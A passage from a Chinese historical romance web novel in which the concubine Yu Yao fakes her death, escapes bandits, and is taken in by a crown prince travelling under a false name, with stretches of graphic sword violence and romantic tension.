秋月正要回头讥讽几句,没成想,她脖子后面忽然被人用什么东西狠敲了一下。昏倒过去之前,她就听见一声更大的声音“是山匪!山匪来了!”
秋月被重物一砸,整个人都没来得及回头,只见她浑身抽搐一下,简直就像是一条软面筋,瘫软在地。
余姚亲自动的手,只见她手里放着一块癞蛤蟆大小的石头,半边沾着血迹。
春花被这场景吓得脸白如纸,她抖抖索索,说:“姨娘,她……她死了吗?”
余姚蹲下身子探了探秋月的呼吸,又摸了摸她的颈侧,发现动静弱了几分,她便对春花摇头说:“没死,她与我无仇无怨,只要她不挡我们的路,我自然不会害她性命。只是偏劳她睡一会儿。”
春花点点头,她想起平时秋月的挤兑,又想起今日过后,她与余姚二人脱离这权利漩涡,她们与这些人便断了联系,此生都难见一面,便尽数释然。
“姨娘,咱们现在怎么办?”春花小声问。
余姚看了看脚边死狗一样的秋月,坚定道:“照着原计划,咱们去后山金顶!把鞋子留在那,伪装咱们遇见山匪坠崖。希望能瞒住谢凭。”
开弓没有回头箭,春花没有主见,她已打定主意跟着余姚,因此主仆两个立即前往后山山崖,脱下一只鞋袜零落放在崖顶。
余姚主仆两个把东西再收拾,便来到山林后,趁机望着预定地点的漕帮那些人。
“姨娘,不是说预定好了同他们见面吗?咱们为什么不去跟他们碰个头?”春花见余姚面色凝重,不自觉压低声音问道。
余姚转头看了一眼她,说:“咱们两个孤身女子在外,难免这些人见了不会起歹心,不如他们在明,你我在暗,行动的时候,千万腿脚利索。我交的钱不少,正是买命钱。”
春花不解:“姨娘,既然已经交了咱们的买命钱,那咱们何必躲躲藏藏呢?”
余姚忽然启声道:“不,不是咱们两个的卖命钱,买命钱,买的是他们的性命。”
话音落下,一时之间,春花宛如夜晚时分被人提灯照住的癞蛤蟆,一动不动。
随着太阳光照的逐渐偏移,春花侧眼看了一眼余姚,她们二人为了不引人注目,便躲藏到一块大石头的背面,避开刺眼的阳光。主仆两个就躺在那块巨石背面安心休憩。
想到待会要面对的事情,春花就没办法叫自己的脑子稍微安静下来。
但是她一转头,就能看见余姚歪过头睡了个过去。
不知过去了多久,余姚看了看天边的太阳,她连忙把春花叫醒,斩钉截铁道:“走了。千万不能停下来。春花,也许这两条路都是必死的道路,也许今日咱们都会死在这座山上。”
春花如今脸上的宛如迷鹿一样的深神色已经完全消失,她坚定地看余姚:“我是蠢货,大事上帮不上小姐,唯独还算得上忠诚,即便死在半路又有什么关系?何况我相信小姐,你一定能把我们带出去。”
余姚倒真的不是故意动摇军心,她只是说了实话,两条性命拴在身上,若说不害怕那是假的。
但害怕没有用,在这个世界上,苦命人多如草芥,倘若不甘心将性命寄放在别人的身上,那就只能向死而生,搏一搏了。
“既然如此,待会听我号令,就撒开腿跑,说好了,咱们俩无论谁跑出去了都是好事,不要回头。”余姚说道。
春花点点头,只是她打定主意,若是余姚跑不动了,她死也要留下来陪她的,她从小就跟着她,离开了她,她的未来是怎样的?春花半点都不敢细想。
春光明媚,景物芬芳。
天空蓝得出奇,在鲜红的朝阳照耀下蓝得犹如一方清亮如洗的水晶,光芒流转,一时群山苍茫巍峨,山间湿雾蒸腾。
待听到一阵耗牛角乐器才能发出的声音,“呜呜——”响声震天,简直就像是上古巨兽咆哮。
余姚看准时机,主仆两个肩膀上都背着一个包袱,里面装着大部分的财物。她忽然坚定地吐出了一个字眼:“跑!”
兴许知道面对的不是什么良善之辈,余姚与春花都没有掉以轻心,任凭衣裙上沾满了初春的生长地嫩绿小苍耳,两条腿一直在倒腾着。
背后忽然传出惊喜的粗犷叫声:“哟,前面有两个美貌的小娘们!”
一言既出,身后的嬉笑声忽然在耳边炸开,“哈哈哈哈哈……”
待他们笑够了,似乎是为首的人做决定:“弟兄们,今日到真是天赐的好运气,天赐两个小娘们来叫咱们爽几发,来,随我将她们捉来,好生伺候咱们一番!”
有了女人的刺激,男人们便纷纷躁动起来,他们从前就干过不少这样的事,若较真说起来,同靴兄弟都不知道做过多少回了。
最丑恶不堪的模样都被彼此见过了,早就荤素不忌。
听见背后有男人的粗言粗语喝骂声,春花要回头瞧,余姚眼疾手快,连忙拉住春花的手臂跑。
一边跑着,余姚一边说:“你疯了,不许回头!逃命要紧!”
春花被她叱得吓了一跳,心脏都狠狠漏了一拍。
身后的络腮胡子的男人们见对方只是两个细胳膊腿的小小女子,自己这边都是些虎背熊腰的男人们,竟然还迟迟追赶不
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上!
那岂不是到嘴的肥鸭子吃不进肚子里?
真真是气煞人也!
因而男人们叫骂声越发大,几乎就是连跑带追,如同索命厉鬼阴魂不散。
春花被身后的斥骂声吓了一大跳,腿都软了,余姚发觉了她的不对劲,赶忙掐她的手,说:“他们在乱你心神,别听他们吱哇鬼叫!”
余姚用眼角夹见背后一伙穷凶极恶的男人,脑后生出一股凉意,若是落在他们手上,那必然是要被□□致死的!她的背后猛然生出一股冰凉的感觉。
就在此时,背后忽然传出一道利刃破空的声音,余姚与春花两人来不及看过去,没成想面前有一只竹管似的长剑斜向直直插入了地面。
这样的距离若是没有射中她们,那必然是含了警告之意!
余姚咬紧唇畔,她知道若是就此停下,等待她的一定是比死亡更痛苦。
如此想着,余姚更是半分不敢松懈,只是她们到底是女流之辈,身后都是些身强力壮的男人们,拼体力定然不成,只是盼望她所想之事能尽快发生,否则她与春花两人涉陷,岂不是枉送了两条性命?
只是屋漏偏逢连夜雨,余姚如此忧思,偏偏此时身边春花爆发出一阵凄厉的惨叫,“啊……”
余姚心中一沉,连忙向一旁看去,只见春花捂住自己的手臂,赤红的鲜血从她白嫩的手掌渗出。她的脸刹那失去血色,变得惨白。
春花感叹自己眼前变得沉重,她张着唇,身不由己地向地上坠倒。
“春花,咱们不能停在这里!”余姚心中焦急,连忙催促,还要拽着她的手肘一起逃命去。
春花本来就是靠着一口气撑着,一旦受了伤,心里那口气就散了,她挣扎着跑了两步,最后腿脚发软。
她一边哭一边推开余姚,脸上惨白灰败:“你快走,小姐!别管我了!”
余姚与她自小的情意在那,她看了一眼身后追上来的男人们,又看了一眼地上软成面筋的春花。
一咬牙,她忽然爆发出一股力气,竟然直接把春花从地上架了起来,两个人踉踉跄跄走了许多步。
春花一直在让她放弃她,余姚却咬牙恨道:“在你心里,我就是这样忘恩负义的坏女人吗?你没害过我,我也不会害你!”
春花哭得泣不成声,“小姐,我不要你救,你这么好看,陪我死在这不值得!”
余姚却说:“什么值不值得,不要再说了,积蓄力气,与我一起逃命要紧!”
只是两个常年深处内宅的女人,与这些常年从事体力劳动的男人,在体力上有着天然的鸿沟。
没一会功夫,余姚就听见那些叫骂声越发靠近,她心如死灰,只是全身一起用力,支撑着她扶着春花一起逃命。
难道真的要死在这里了吗?
她的选择做错了吗?
若是不选择打掉孩子,若是没有选择逃离谢凭,若是见到了当街救下孩子的那个男人,她没有动心思……
回顾重生的这几个月来,她的每个选择,都是为了让她能够与上一世的结局背离。
可是兜兜转转,好像要比上一世的结局还不如呢?
余姚想不明白,她仍旧跑着,感觉胸腔里面的心脏要跳出来一样,一下比一下激荡!肺里面像是被一捧火腾地燃烧了起来。
忽而面前又一只羽箭凌空袭来,甚至发出来破空的利刃声,“嗖”地一声,寒光闪过眼眸,贴着血肉,堪堪擦过。
利刃入肉的声音就此传来,紧接着是男人的惨叫声,像濒死的鸡鸭,又像是一条死狗。
死前哀嚎,本就凄惨,只是听在余姚外耳中,身处“不是你死,就是我活”的局中,在她听来犹如天籁!
余姚本来又累又渴,她又带着伤员,心中本存死志,如今却似有人相助,若是因祸得福,岂不快哉?
如此想着,余姚连忙抬头向前方看去,只见一匹浑身黑毛凛凛泛着紫光的高头大马之上,有一人手持弓箭,对准此处。
“嗖”地一声,五只长箭凌空飞来,森冷非常。
余姚见那五箭齐发,这样角度,分明自己与春花也在射程之中。想不到她千算万算,最后的结局竟然是死在箭下?
15. 015
箭声破空,无比刺耳。
余姚忍不住闭上眼睛,心中想的是,若是叫这铁箭镞射中头脸,戳出了血窟窿来,那岂不是叫她丑死,而不是被利箭射死!
岂料余姚紧闭双眼,却仍然不曾感觉到疼痛,更不用说死了。
但她却确实也听见利刃入肉的声音,她在心中细数了一下,总共五声!最后一声箭镞入肉的声音落下,余姚即刻睁开了眼眸。
但是下一瞬,她忽然看见有一个身穿玄色文武袍的中年男人猛虎一样迅捷蹿出,尔后见他骤然拔出腰间横刀,摆出姿势,双手持刀,肌肉顿时从衣服下奋张起来,鼓鼓囊囊,积蓄力量。
不肖一会功夫,只见那些活生生、怒目而视的男人们举起长刀砍来,却在倏然之间被银色的刀光剑影环绕,不出两招,人头咕噜噜滚在了地上,艳红的血雨从断颈处喷发,落在地上新绿嫩草上,分外妖艳。
甚至有一颗头颅滚到了余姚脚下,余姚还没来得及叫出声,旁边的春花看见她脚边停着一颗睁眼大眼睛的断头,一声哀嚎还没叫出来,浑身一抽搐,头往旁边一歪,便人事不知了。
余姚虽然也被骇得不轻,但她自小到大唯一的一桩好处就是擅长察言观色。那些山匪似乎是眼见得罪不起这伙人,为了避免折损更多的弟兄,领头的那个头头咬牙恨道“撤!”
但羊入虎口,终究于事无补。
余姚亲眼所见,刚才还凶神恶煞、好似夜叉索命的男人们此刻竟然连一声哀嚎都来不及发出,就被一柄寒光如雪的利刃砍下头颅,一时腥风血雨乱作一团。
兴许是血液使人变得兴奋,那手持横刀的男人犹如人屠行在路上。待到杀完了男人,他提着刀折返回来,他手上那柄刀上的血流淌不尽,又腥又臭。
余姚往日所看所见,都是一些内宅阴司,不沾血却能杀人,还是头一回,如此直观见到杀人如麻的场景。她与春花毕竟是两个手无缚鸡之力的女人,见此场景,难免心生害怕。
她的嗓音含在口中,面前男人肤色黝黑,半张脸上都沾染了鲜血,一滴一滴顺着脸部轮廓向下滴。
男人提着刀,明明相貌并不显眼,全身的血都往头上冲,眼珠子都要滚出来一般,他走近前来,将那把半人高的横刀高高举起,若登时落下,哪里还有命在?
余姚心中凄惶,心道,这下惨了。
正在此时,忽而听得近在咫尺一道“锃”声,近在耳畔。
放眼一瞧,只见那横刀被箭矢弹开,一只长尾箭羽深入石面,可见搭弓放箭之人力气之大。
而后听得一声“年同,住手!”
余姚听见此声,忽然记起几月前在风花雪月茶楼前,压制那谢琛前去五城兵马司的人。
她连忙抬眼看向来人,那人身着一袭玄黑色遍地金曳撒,头上带着一只绒花双珠紫金冠,齐眉勒着黑底云纹雨跃抹额,腰间系着玛瑙宝石腰带,愈发显得此人猿背蜂腰,鹤势螂形。
一声“年同”骤然逼退那刺刀的男人。
没出几个呼吸的功夫,那匹灰色骏马立到跟前,一收缰绳,马儿抬起脚嘶鸣。阳光下,余姚这才瞧清这匹马的毛发微微泛着紫光。
谢凭是爱马之人,他知晓余姚尤擅丹青,便口述上古八骏,作当做红袖添香的闺房之趣。
余姚自幼聪颖,凡她见过、画过的人或物,那东西便像是活在了它心里,清晰得不得了。这匹马儿俨然就是她画作中的“飒露紫”!
余姚抬眼细看马背上的人,一方面惊艳于他出色的相貌,另一方面则觉得真是不枉自己与春花死里逃生这一回!
垂眸时,她那双水润的美目中闪过一丝得意,再抬眼,她眸中水润清亮,犹如秋水一般。
马背上的人匆匆一瞥,忽然一愣,心道一声,好相貌!
余姚试探道:“公子,您怎么在这?”
太子人多事忙,好在没想太久,便记了起来,他不由眼眸一亮,手持缰绳翻身下马。
余姚这才发觉,这个不知名姓的公子当真高大,比谢凭还高些!
“尘世多累,俗世人来山水间与神佛前,自然求一个解脱。”太子一只手指拨动另一只手大拇指上一枚黑玉饕餮纹板指儿。
脱口就是一句禅机,余姚觉得他真不愧是她看中的猎物!
他是整个大曌朝唯二权势最大的人,若能借到他的势力,谢凭那边便不足为虑了。
因为站得太久,余姚腿软难以站立,在加上春花的重量,她陡然先前摔去。
预想中的疼痛并没有传来,自己的一只胳膊被人扶住,垂着头,余姚红唇轻轻扯出一个上扬的弧度。
余姚站稳后,连忙向后退了两步,脸上惊慌未定,她简略福身道:“公子,多谢您再次救妾一命了。”
太子见面前这对主仆浑不似几月前见到时那样光鲜,心中起疑,问道:“小事不足挂齿,只是你们二位今日为何如此狼狈?”
其实说她们俩狼狈,都是客气了。两个人一站一晕,发型也跑散了,脸上汗水粘着碎发,若不是她天生丽质,更怕走在路上就被人误以为是疯婆子了。
太子见余姚垂首沉默,便知这有隐情,他又启声说:“姑娘家中在哪?我遣人送你回去。”
一旁蹲下来用无头尸体擦拭刀身上血迹的年同,骤然一愣,而后仿若无事继续擦。
余姚咬着唇,上挑的美眸中晶莹的泪珠泫然欲落。真似海棠带雨,梨花先雪。
太子似乎也察觉到自己盯着人的时间有点久,心中不由也不大愉快起来,他将这异常的反应归咎于——他从小就是个喜爱美丽事物之人,他见到美丽的东西,总是忍不住驻足观望,乃至靠近。
见她为难,太子想了想,伸手拂退了正要贴身侍立的年同。
年同见状,抿紧了唇,犹如一害怕被人叼走嘴里肉食的野狗般望着余姚。
余姚张了张嘴,一副难以开口的样子。
太子见她面皮单薄,衣衫虽有脏乱,但细看之下,就会发现这身衣裳料子极新。再看她头上无钗环,梳着未嫁女儿的三小髻儿,通身只有颈上那串珍珠红玛瑙玉髓项链造价不菲。
许是哪家富贵人家或是官宦人家的家中小女,碍于脸面,不敢开口?
如此猜想,太子顾怜她闺阁女儿心思,便轻声安慰道:“莫要难过了,姑娘若担心名声,过会儿,我可代为为你家中长辈解释。若还不成,我……”
余姚觉得他嘴里没说出口的话,也许就是像话本子里说的“小生可为姑娘负责,担起后半生,我倾慕你,原聘你作妇”之类的话。
她便提前打断了他的话,“其实,妾非是良家子,家中长辈,病得病,死得死,早就人去楼空。”
太子被她一句“不是良家”唬了一跳,他不由心中猜疑起来。想起她先前所穿衣饰,再看她那张容貌,如非富家小姐,那便是他人妾室了?
似乎是能探知他内心所思所想,余姚泫然欲道:“妾原是某江南富商家中舞姬,主家为讨好李翁,听闻李翁好处子,便将妾赠与他。李翁性情暴虐,妾不胜折辱,
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便逃府而出。谁知流落至此,又逢公子救命之恩,妾感激不尽。”
说着,余姚垂眸欲再拜,太子却伸手示意她不用多礼。
余姚见他面色平平,心中惊疑,莫非筹码不够,他竟不咬钩?
她便再下一剂猛药,“妾身无长物,与婢女情同姐妹,我二人苟且偷生,日后必日日感念公子大恩大德,妾敢问,不知公子姓甚名谁?”
太子见问到头上,一番迟疑,便随口道:“鄙人姓木,名舒。”
这句话在余姚舌尖、心头轮转几回。
姓木啊……
本朝国姓为慕容复姓。
余姚从善如流,微微颔首唤了一声:“原来是木公子,多谢您救命之恩。”
太子听见她的声音低沉,似乎十分疲惫。他心念一动,若无其事问:“姑娘既是无家可归,不知今后可有什么打算?”
见他终于问到,余姚按捺心中得意,面上仍是一股惆怅凄惶之态:“如今李翁那里,妾再也回不去了,若叫他找到,妾必然生死难料。现下妾与婢女抬头没有片瓦遮身,低头亦无三餐饱腹。只得走一步看一步了。”
太子却见面前女子神色凄苦,身段窈窕,真真是一个绝色女子。可叹她明珠暗投,竟跌落泥淖,叫一个老态龙钟的富户占了去,当真可惜。
如今她凄惶无助,无家可归,又是两个身无长物的弱女子,长相又不是寻常的貌美,若教她们独自离开,恐怕不出今日,便会叫京中拐子拐走,重新零落到污遭泥淖之中了。
他虽心肠冷硬了十八年,却也不忍见美好之物破碎凋零。
沉默了一会儿,太子的目光落在了余姚死死攥紧春花衣裳的手,说:“人无远虑,必有近忧。姑娘如今生死存亡迫在眉睫,倘若姑娘信我为人,不如暂且让我照拂姑娘一段时日?姑娘放心,我家中世代为商,亲眷之中在朝堂上亦有人脉,庇佑一二,尚且是做得到的。”
余姚静静听他讲完这番话,结合她早就知晓面前人的身份,她感觉挺可笑,两个人用的都是假身份。
不过她等的就是他这句话,余姚垂眸,“木公子与妾非亲非故,为何要帮妾?”
太子见她问出这番话,心中疑虑也消失了许多,他朗声笑道:“海内存知己,天涯若比邻。无为在歧路,儿女共沾巾【1】。”
余姚静静听他念完,心中愈发觉得此人当真是坦荡春风,清风明月一般的美玉君子。春花比她重,身上的力气全压在她身上,难免叫她吃力。
她颔首,抬眸看向了面前年轻俊美的男子,美目含泪,忽然轻轻扬起唇角,轻笑道:“木公子果真光华如月,清辉皎洁,妾得遇公子,三生有幸。如此,便只好暂时托庇于您了。”
暂时托庇,亦是她所求。
但她终究出身烟花柳巷,又非良家出身,最是见惯了父母们嫌弃女儿多了,觉得徒增家中嚼用,便将其买给鸨母。鸨母虽是假母,银子流水一样使在姑娘们的教养上,待到来日将姑娘高价卖出,二两骨头榨出油,当初使出去的银钱自然千两万两地还回来了。
亲身父母尚且如此,男人岂能依靠终身?
正如芍药所说:“靠山山倒,靠人人跑。”
像她们这样的女人,唯有口袋里的金裸子、银裸子最是可靠。
见她终于展露了笑颜,美目流转,犹如雨后花盘泣露,又似江南西湖水,晴光潋滟。纵然是对美人司空见惯的太子也难免被晃了心神。
只是想到白玉微瑕,已非完璧,心中难免膈应几分。
16. 016
天色将晚,夕照西沉。
余姚被安置在后山院中,这里都是久无人住,但已被人打扫过,并不显老旧。
春花手臂上的伤口余姚简单清洗了一番,那太子果真是个心思细腻之人。
余姚这边刚落脚,那边派遣来的看病的老和尚就到了门口。
此时顾及男女大防,余姚只得将床帐放下来,又将春花一条雪白的手臂伸出来,那箭矢是铁制,上面已经生了红绿色的锈迹。
老和尚拔箭的时候,对余姚嘱咐道:“拔箭的时候,劳烦女施主摁住床上的病患,这箭头上有锈迹,需要尽早处理,越拖久一份,就多一份危险。”
余姚点头应答,她坐在床榻旁边,两只手都摁在春花的手臂上。
待做好准备,她对老和尚点点头,老和尚剪断那铁箭头一边,“咔哒”一声,春花明明身处昏迷之中,余姚却能感受到,手掌下那奋张的力量感。
老和尚把箭头扔在一边木几上,而后双手握住下面的箭头羽尾。
他道:“拔箭了,女施主小心。”
余姚道一句“知晓了”,和尚手掌发力,箭身动摇抽出时,春花登时间被巨大的疼痛感裹挟,一时手脚爆发出巨大的力量,忽地暴起。
余姚险些被她撅翻,好在春花尚在病中,力气没有她大。
唯一不大美妙之处,便是拔箭的时候,伤口带出的血被箭身带出来了不少血液,那些鲜红色的血液顿时如喷泉一般,直接洒了离得最近的两人一身。
老和尚本以为女子会露出不耐烦或者是嫌弃厌恶的神色,他抬眉望去。
却见到这个年轻美貌的小女子竟然半点都没害怕或者厌恶。
那女子生得又白又美,鲜红的血点子落在她脸上,反而衬得她又俏又艳。
阿弥陀佛。
色即是空,空即是色。
女色误人呐。
护国寺的登临高塔是一座阁楼式砖塔,共有三十三层,可以登高望远。
日暮西沉之际,凡是出入口的关口处,都有身着盔甲的护卫把守。
第三十三层浮屠塔上,从木制竖形栏杆有三道身影立在此处。
由高向低俯瞰,仿佛云京城玉阙楼尽收眼底,天下河山尽在股掌之中。
身材高壮、身着玄白二色文武袍的中年男人生了深目高鼻,他轻易不爱笑,仿佛那些画本子上没有脸的神佛鬼怪,人见了只害怕。
他右手撑在身后披挂的腰刀刀柄上,整个人犹如随时蓄力搏命的猛虎猎豹。
太子的右手放在栏杆上,他大拇指戴着那枚黑色戒子儿上的饕餮怒目圆睁,欲要入夜食人。
他的另一只手分明背在身后,愈发显得宽肩窄腰,却像是后背生了两只眼睛一般。
太子沉声问道:“年同,有话就说,在孤跟前不讲虚言。”
那身着文武袍的中年男人抿唇,挣扎了好一会儿,才开口道:“殿下,世界上绝无此种巧合之事,臣以为这定然那两个女子定然是贼人的美人计,欲要害您性命。再说了,护国寺是本朝国寺,闹山匪?偏就这样巧,叫您遇见了。”
太子沉默了一会儿,忽然笑道:“你堂堂东宫卫正指挥使大人,竟然将两个手无缚鸡之力的女子视为仇敌,岂不可笑?”
年同并不以为耻,他抱拳说:“事关殿下安危,臣死不足惜,但千金之子,坐不垂堂的道理,殿下一定比臣更懂。”
“你啊……王振,你怎么看?”太子问。
站在太子西侧一个面上无须的中年男人回话时,嗓音出奇的又尖又细,他的腰与头都往下低恭敬笑说:“殿下,奴才以为年指挥使所说不无道理,若是在胭脂坊之类的地方遇见,还尚有可信之处,可在佛门重地遇见了,要么是山野精怪,要么……嘿嘿,就如年指挥使所说了。”
太子仍旧触目远眺,搭在栏杆上的食指有节奏地扣动,他这幅样子,也不知究竟有没有听进去他们的话。
年同与王振不敢发问。
过了好一会儿,太子忽然问:“你们听过白山茶盛开的声音吗?”
年同:?
王振:?
他们面面相觑,心中疑惑太子莫非是癔症了?大白日就说起梦话来了。
王振终究伺候的时间长,他小心道:“殿下,护国寺的山茶花期是每年四月。”
意思是,花期未至,怎么会看见呢?花开声音太小,又怎么能听见呢?
太子便不再说话了,仍旧站在原地眺望西边天幕上最后一抹灿烂的余晖。
王振在深宫摸爬打滚多年,自有一套察言观色的本领,也正是这份天生的第六感让他数次在诡谲云涌的深宫诡计中存活下来。
他忽然想起来,上一次在护国寺,殿下似乎也问了这么一句话。
似乎那个时候,殿下还跟那名女子说了两句话呢。
-----------------
老和尚将拔出来、沾染着血迹的木箭扔在进了水盆里,“扑通”一声,水花四溅。
余姚对老和尚自然千恩万谢,欲要附上一笔诊金,却被老和尚退了回来。
老和尚双手合十说:“阿弥陀佛,救人一命,胜造七级浮屠。”
待到余姚送走了老和尚,她便折返回来,重新烧了热水,给春花擦洗身子。
此时虽然已是初春,但天气渐热,上午又经过一段生死时速,两个人身上都汗腻腻的,余姚替春花擦洗干净了,又想着给自己提桶水。
这院子里倒有烧火的灶,就是没有人侍奉。余姚来到井边,她只能半桶水地提到灶上去烧水。
余姚贪多,想着多提点水上来,没成想她这脚底一滑,竟然整个人直直往深井里面载去!
正在余姚叫苦不迭的时候,突然有一只手忽然伸出揽住了她的身子,只是慌乱之中,难免初触及不可言说之处,向下坠的力气太大,按在她左乳上的手掌骤然收紧,疼得她龇牙。
那人眼疾手快把她扶住放开,那桶水骤然从空中砸进了井水里,“咚”地一声。
死里逃生后,余姚站稳才看清了眼前的男人,来人一身轻简黑衣,看起来清爽利落。
俗话说得好,女要俏,一身孝;男要俏,一身皂。
果然半点不错。
“你怎么自己打水……”话音未落,太子这才发现这院子里也没有别的人能替她打水的人。
余姚胸口正疼,只是在人前又不能伸手去揉。
不过她神色不自然,太子也将她神情尽收眼底,他想起适才手掌下的触感,似乎……异常柔软了些。
太子的目光在面前略显狼狈的女子身上搜寻,最后视线落定在她凌乱的衣领处,目光逐渐幽深。
余姚总不能说是没人帮忙,这样说,反而像是她在抱怨日子艰苦。
她心里门清,男人对一个女人好,要么真是神仙菩萨下凡,要么就是馋她的身子。
她只是想借他的势力避一避难,也没想把自己交出去。
余姚不顺着他的问题回答,反而转了个话题,道:“公子,你怎么来了?”
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太子继而从袖中翻出来一瓶天青色的矮瓷罐,他递给她,说:“我记得你家婢子受了伤,特来送药。你们既然奔逃至此,可知晓近来有何人要来此吗?”
一边说,太子全程还盯着余姚的脸瞧,她在刹那间对上他深邃的眼眸,余姚忍不住倒吸一口凉气。
他虽然笑着,那双眼睛里却又阴又狂,里面就像是有钩子,看一眼就觉得心发慌。
然而下一秒,余姚在看,却又觉得面前的年轻公子温润和善。仿佛刚才的压迫感都是出于她眼花了。
余姚接过那瓶药,她便福了福身,道:“多谢您再次救命之恩,还有您赐药的恩情。妾原本在托庇在寺庙里,不知怎的泄露了行踪,叫这些仇家找上门来,要捉妾去……”
有些话,不宜说完,留白脑补效果才更佳。
太子的目光打量了一番眼前之人,余姚心中颇为焦灼。
不过也没叫她为难多久,太子朗声叫道:“来人。”
话音刚落,院门就被人从外面推开来,有两个身材高大的护卫模样的人进来拱手复命:“是。”。
太子微微蹙眉,说:“此院中两位姑娘都是我的客人,你们亦以客待之。”
那两个男人便拱手道“是!”
接下来,太子与余姚又说了两句话就离开了。那两个护卫模样懂男人向余姚通报了姓名,便给余姚三两下功夫,把水挑到了厨房的大灶里,另一个还点燃了灶火替她烧。
余姚原本是想放在炭火炉子上烧,只是这样烧出来的水量有限,两个男人似乎不是伺候人的老手,但他们效率高。
余姚终于洗上了热水澡,一直突突疼的脑仁终于恢复了正常运转。
-----------------
暗蓝色的天空,没有一丝游云的痕迹,墨青的群山之间连绵不断。
有两个小厮模样的人提着灯来到紫金后山,月色缥缈,终于还是叫他们找到了人。
只是一个小厮走上前,把人翻了过来,拿灯凑近一瞧,发现竟然只是余姨身边侍奉的一个婢女。
他们把周围翻了个遍,都没见着余姨娘和那个贴身侍奉她的婢女春花。
两个小厮心中一紧,都在心中猜疑,莫非那余姨娘竟然敢逃府?
直到两个人把那个名叫秋月的丫鬟掐人中给弄醒了以后。
一番询问下,秋月摸着疼痛的后脑勺,一抹一手的血,那两个小厮一脸焦急地催她回想昏过去之前的情境。
秋月虽然平时恨毒了余姚,但也知道余姚到底是谢凭的枕边人,又颇得谢凭的宠爱,若是人在她们侍奉的时候出了意外。
到时候谢凭剥了他们的皮,都是轻的了。
秋月把昏过去前的情景与那两个小厮说了一遍,三个人的脸色俱是一白。
其中一个小厮说:“这紫金山可是大曌朝的龙脉山,护国寺又是本朝的国寺,朝廷怎么可能会纵容这些山匪在这里猖狂得意?”
话虽然是这么说,三个人还是把整个周围都查了一遍,越查越急。
直到另外一小厮脸色不好地与秋月和另外一个小厮汇合,三个人一起来到悬崖边。
“怎么……可能?余姨娘她……死了?”秋月连忙跑过去蹲下来看了一眼地上的鞋子,她把鞋子拿在手里看
好几遍。
秋月面白如鬼:“这只鞋子,就是余姨娘今日穿的……”
乌云散去,皓月当空。
悬崖边上的三个人面面相觑,一副见了鬼的模样。
17. 017
春和景明,惠风和畅。
余姚在紫金山顶足不出户待了一夜,期间春花醒了几次。
春花醒过来的头一回,余姚就把她们眼前的形势都跟她讲了一遍。不过关于收留她们的人,余姚倒是没告诉她,那个人是本朝的东宫太子。
既然对方不愿意袒露真实身份,那自然是越少人知道越好,效果越真实。
余姚待在这里的第二天上午,门口守卫的那两个男人就来告诉她们可以离开了。
春花昨儿夜里发了高热,余姚给她擦了凉水降温,现在温度倒是降下来了。
见到要离开的时辰,余姚给自己和春花都用帷幕帽子遮住了脸。
幸而在本朝,热爱出游,但又不乐意被外人看见的小娘子们,就会带着帷帽。
因而他们两也并不突兀,太子安排了两个男人护送她们下山。
余姚知晓太子不愿意暴露身份,但她也只是想借他的势力避难,所以也乐得装傻。
待到下了山,又坐了一程子马车,马车轱辘转了好一会儿,知道完全停稳,余姚立在一个僻静的小院子门口站着。
她不动声色打量了一番眼前景象,不算大,也不小,避难的这段时间里,能有这样的住处,余姚也还算满意。
那两个男护卫一起帮着余姚开始收拾住处,只是他们到底只是男子,女儿家的房间总归是不好进去。
没过多久,门外忽然响起了什么叩门的声音,那两个护卫在打扫别的地方,倒是余姚出来换水,刚好途径主院门口。
她放下了手中的铜盆,打开门。
门外,苍翠的绿柏轻轻摇晃,喜鹊舒畅地叫了起来,光影从屋檐下流转,就像是透过碎珍珠衫的缝隙,落在人的脸上,十分轻扬。
门外的男子穿着一身玄雅黑色提花暗纹宽袖道袍,他的年纪似乎并不太大,瞧着身上的体格还带着少年特有的薄质。与成年男人那种健硕体型不太一样,尤其是身上的比例实在优越。
猿背蜂腰螳螂腿,这句话用在他的身上是再贴切也没有了。
对方见门开了,他也抬眉看去,不过他身量高,余姚怀疑他看人的时候,从来都只需要向下看。
太子瞥见眼前少女换上了一身外罩凝脂白色花纹长对襟比甲,内里是笋绿色宽袖长袄,下面是柏绿色百褶裙。
少女容貌本就生得精细无比,眼眸又亮又润,唇色如五月榴花开放,娇艳欲滴,十分超然脱俗,明媚丽质。
看得出来,王振虽然做老许多年太监了,挑衣裳眼光却很是不错。
“公子,进来喝杯茶吧。”余姚察觉到面前的年轻太子似乎心不在焉的样子,但总不好叫客人一直在外站着,她便开口说道。
太子回过神来,见到了赏心悦目的景色,他的眸光亮堂了许多。
“其实也无事,我平素住在隔壁,本来路过此处,是想来看看。”太子说道,他正说着,目光落到了她简单发饰下露出来的一只雪白、细嫩的耳朵。
太子的目光不由变得幽深起来,他觉得那只耳朵比他身上常常佩戴的玉还要白腻,还要水润。
他的手指捻动了几分,心念一动,头脑终究被理智占据了制高点。
太子觉得自己真是老毛病又犯了,他喜欢收纳一切美好东西。好精舍、好鲜衣、好美食,好骏马、好华灯、好烟火【1】……
可是这一次喜欢的东西却生在人身上,他虽然能叫人把她的耳朵割下来,用冰湃起来。只是这样强留自然之物,终究不如让它安静生长在她的血肉之躯上。
太子看见她小心翼翼推到旁边,她对她轻笑,刹那间,太子像是听见了山野林涧当中,湿润的山壁上一株晶莹剔透的白色小花骤然绽放。
他想到自己刚才想把她耳朵割下来,这想法在心中跃跃欲试。
于是,太子扬起笑意,道:“不必了,我就在旁边住着,吃喝都方便。你在这里安心住着,不要担心旁人随时会捉你回去,有我在,必然护你安乐。”
说着他终于离去,余姚站在门口,看着那人离去的背影,陷入了沉思。
这位传闻中的太子殿下,果然不愧与谢凭是表兄弟,刚才几乎有一瞬间,余姚还以为自己见到谢凭了。
余姚觉得人家对她有不小的恩情,若是不报答,也不太像话。她大声喊道:“公子,后日来家里吃饭呐!妾亲自下厨。”
喊完以后,也不知道他那边究竟有没有听见?
算了,提不提是她的事,来不来就是他的事了。
夜晚,宫外云京玉阙城外,充作东宫的报本宫中,太子泡完了澡,他穿着春日专用的棉锻寝衣。
不知是不是天气的温度开始升腾起来了,太子睡下了没多久,就感觉浑身上下又热又暖,身上、背上就像被几千只蚂蚁啃噬,有爽又麻。
他的脑海眼前始终挥散不去那一抹白嫩,一方小巧的耳垂,圆溜溜的,上面还没有戳耳朵眼。
太子今年十八有余,皇室中也早就拍了年长的宫人来给少主子讲解人事。
甚至皇太后见他序齿上的几个兄弟,不管是比他大的,还是比他小的,膝下儿子女儿都生出了不少。因而近两年都往他宫里面送了不少美貌的女人。
太子并没有如皇太后所愿对这些宫人实行临幸,反而将那些宫人们都配给了他手底下得力的侍卫们。
